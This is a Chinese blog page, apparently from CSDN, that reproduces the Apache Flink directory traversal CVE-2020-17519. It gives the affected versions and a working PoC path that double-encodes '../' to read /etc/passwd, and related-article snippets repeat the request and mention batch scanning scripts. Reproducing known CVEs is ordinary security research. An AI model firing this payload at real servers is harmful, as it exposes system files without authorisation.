Apache Flink漏洞（CVE-2020-17519）复现

最新推荐文章于 2024-11-08 17:43:47 发布
最新推荐文章于 2024-11-08 17:43:47 发布
阅读量1.3k 收藏
点赞数
文章标签： flink 安全 大数据
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41770175/article/details/132974117
版权

漏洞影响
1.11.0
1.11.1
1.11.2
漏洞复现
poc:
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
复现成功截图

PeiSylon
关注
Apache Flink CVE-2020-17518-id：L.pdf
04-30
- 使用另一个漏洞（CVE-2020-17519）来验证文件是否被成功写入。此漏洞允许攻击者读取服务器上的任意文件。 - 构造 GET 请求： ``` GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%...
CVE-2020-17519:Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)
05-30
该脚本为Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)。 使用方法：Python CVE-2020-17519.py urls.txt urls.txt 中每个url为一行，漏洞地址输出在vul.txt中 影响版本： Apache Flink 1.11.0、1.11.1、...
Apache Flink目录遍历(CVE-2020-17519)批量检测脚本
09-24
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的...
Apache Flink目录遍历(CVE-2020-17519)单目标检测工具
09-24
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的...
flink 内存配置（一）：设置Flink进程内存
chanyue123的博客
11-04 991
Apache Flink通过严格控制各个组件的内存使用，在JVM之上提供了高效的工作负载。虽然Flink社区努力为所有配置提供合理的默认值，但由于用户部署在Flink上的应用范围很广，这并不总是可行的。为了给用户提供最大的生产价值，Flink支持对集群内的内存分配进行高层和细粒度的调优。下面进一步描述的内存配置适用于1.10版本之后的TaskManager进程和1.11版本之后的JobManager进程。
Flink-Kafka-Connector
qq_41081716的博客
11-05 214
是 Flink 提供的一个专门用于与 Kafka 集成的组件。通过这个连接器，用户可以轻松地从 Kafka 中读取数据流（Source）或将数据流写入到。Kafka 是一个分布式流处理平台，广泛应用于构建实时数据管道和流应用。
Flink API 的层次结构
qq_41081716的博客
11-08 282
Apache Flink 提供了多层 API，每层 API 针对不同的抽象层次和用途，使得开发者可以根据具体需求选择合适的 API 层次。
Flink处理无界数据流
qq_41081716的博客
11-08 684
Apache Flink 是一个专为处理无界和有界数据流而设计的流处理框架。处理无界数据流的关键在于能够实时处理不断到达的数据，并且保证处理的正确性和高效性。以下是Flink处理无界数据流的主要步骤和技术：无界数据流的第一个步骤是从数据源获取数据。常见的数据源包括：Flink 提供了一组丰富的算子来处理数据流。这些算子可以进行各种数据转换操作，如过滤、映射、聚合等。常见的算子包括：处理无界数据流时，时间和窗口的概念非常重要：Flink 使用状态管理和检查点机制来保证处理的正确性和容错性：处理完数据后，结果需
Flink on YARN是如何确定TaskManager个数的
chanyue123的博客
11-08 397
flink on yarn如何确定taskmanager个数
flink 内存配置（四）：内存调优和问题处理
chanyue123的博客
11-05 1028
本节解释如何根据用例设置内存，以及每种用例中哪些选项是重要的。
Flink安装和Flink CDC实现数据同步
东皋长歌的专栏
11-05 436
3) 在架构方面，Apache Flink 是一个非常优秀的分布式流处理框架，因此 Flink CDC 作为Apache Flink 的一个组件具有非常灵活的水平扩展能力。5) 另外，在生态方面，这里指的是上下游存储的支持。CDC 的全称是 Change Data Capture ，在广义的概念上，只要是能捕获数据变更的技术，我们都可以称之为 CDC。实时消费日志，流处理。编写以上脚本，命名为flinkCdc2Mysql.sql，上传到flink的sql目录下，这里的sql是我新建的，你可以自己指定。
Flink和Spark在实时计算方面有何异同
2402_84885073的博客
11-05 347
Flink和Spark在实时计算方面既有相似之处，也存在显著的差异。
Flink实现实时数据处理
qq_41081716的博客
11-05 248
代码如下： 展示了一个使用 Apache Flink 进行实时数据处理的例子，该例子从 Kafka 消费数据，对博客文章的浏览量进行统计，并将结果写回到另一个 Kafka 主题。以下是对你提供的代码的一些解释和建议：初始化执行环境：配置 Kafka 连接器：定义 Source 和 Sink 表：SQL 查询：启动任务：
关于Flutter空安全升级方案整理
清风洒脱
11-08 390
Flutter 从 2.0 版本开始支持空安全（Null Safety）。升级到空安全后，由于语法的变动，基本上整个工程，代码都爆红，这对项目来说简直是灾难性的打击，不升级的话只是缓兵之计，因为随着时间的推移，flutter将不再维护非空安全的版本，同时一些三方库也将无法使用，因此空安全升级变成了一个不得不做的事情，项目越复杂需要的时间也就越持久，考虑到对项目的稳定性，和开发周期。选择一个合适自己项目的迁移方案非常重要。下面自己会讲下自己对空安全迁移的理解和实施方案，目前成功迁移几个项目，还是比较有经验的。
ICT网络赛道安全考点知识总结4
m0_72765822的博客
11-04 736
RADIUS和HWTACACS协议通常都使用共享密钥对传输的用户信息进行加密，以确保安全传输。 用来封装EAP报文的RADIUS属性通常是"EAP-Message"，它用于传输EAP认证过程中的消息。 LDAP的域名属性通常是"DC"（Domain Component），用于表示域名的组成部分。 BFD（Bidirectional Forwarding Detection）可以用于检测网络设备之间直连物理链路的双向转发路径的故障，但也可以用于检测其他类型的链路故障。 管理员为虚拟系统手工分配资源时，
Neo4j数据库清理指南：如何安全地删除所有节点和索引
engchina的专栏
11-05 516
Neo4j数据库清理指南：如何安全地删除所有节点和索引
微软日志丢失事件敲响安全警钟
juminfo的博客
11-08 259
据报告，从9月2日至9月19日，持续长达两周的时间里，微软的多项核心云服务，包括身份验证平台Microsoft Entra、安全信息与事件管理（SIEM）平台Sentinel、云安全解决方案Defender for Cloud以及数据目录服务Purview，都经历了安全日志记录的空白期。系统可以实时、不间断地收集并整合各类设备的日志信息，通过先进的关联分析技术和机器学习手段，助力用户从庞杂的日志数据中快速识别异常安全事件，全面满足合规审计、分析调查及数据留存等多日志场景使用需求。
信息安全工程师（82）操作系统安全概述
最新发布
m0_73399576的博客
11-08 798
信息安全工程师——操作系统安全概述篇
Apache Flink CVE-2020-17518：远程文件写入漏洞分析
"Apache Flink的CVE-2020-17518是一个严重的安全漏洞，它允许远程攻击者通过REST API进行目录遍历，从而实现任意文件写入。此漏洞影响Apache Flink的1.5.1至1.11.2版本。攻击者可以通过构造特殊的HTTP请求头来将文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值